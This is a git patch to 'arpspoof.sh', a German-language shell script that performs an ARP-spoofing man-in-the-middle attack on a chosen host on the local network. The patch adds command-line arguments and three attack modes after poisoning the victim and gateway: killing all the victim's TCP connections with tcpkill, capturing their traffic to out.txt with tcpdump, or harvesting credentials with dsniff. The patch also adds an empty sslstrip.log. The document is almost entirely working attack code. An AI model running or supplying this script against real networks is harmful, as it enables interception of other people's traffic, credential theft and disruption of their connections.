From a84a9dc41671f01018889d8eba5c3d02aedb29e2 Mon Sep 17 00:00:00 2001 From: simono41 Date: Thu, 19 Jul 2018 16:14:33 +0200 Subject: [PATCH] taskill --- arpspoof.sh | 30 ++++++++++++++++++++++-------- sslstrip.log | 0 2 files changed, 22 insertions(+), 8 deletions(-) create mode 100644 sslstrip.log diff --git a/arpspoof.sh b/arpspoof.sh index ea0f26e..4a3a9e8 100755 --- a/arpspoof.sh +++ b/arpspoof.sh @@ -10,15 +10,29 @@ fi echo 1 > /proc/sys/net/ipv4/ip_forward -gateway=$(route -n|grep ^0.0.0.0|cut -d' ' -f 10) - -arp -ip link -read -p "Wie heisst die Schnittstelle? [enp30s0\eth0] : " modul -nmap -sn ${gateway}/24 -read -p "Wie heisst die IP? : " ip +gateway=$(ip route show | grep dev -m1 | cut -d" " -f 3 ) +if [ -z "$1" ]; then + ip link + read -p "Wie heisst die Schnittstelle? [enp4s0\eth0] : " modul +else + modul="$1" +fi +if [ -z "$2" ]; then + nmap -sn ${gateway}/24 + read -p "Wie heisst die IP? : " ip +else + ip="$2" +fi arpspoof -i $modul -t $ip -r $gateway & -tcpdump -i $modul -A host $ip +sleep 2 + +if [ -z "$3" ]; then + tcpkill -9 host $ip +elif [ "$3" == "tcpdump" ]; then + tcpdump -i $modul -A host $ip >> out.txt +else + dsniff -i $modul -w out.txt +fi diff --git a/sslstrip.log b/sslstrip.log new file mode 100644 index 0000000..e69de29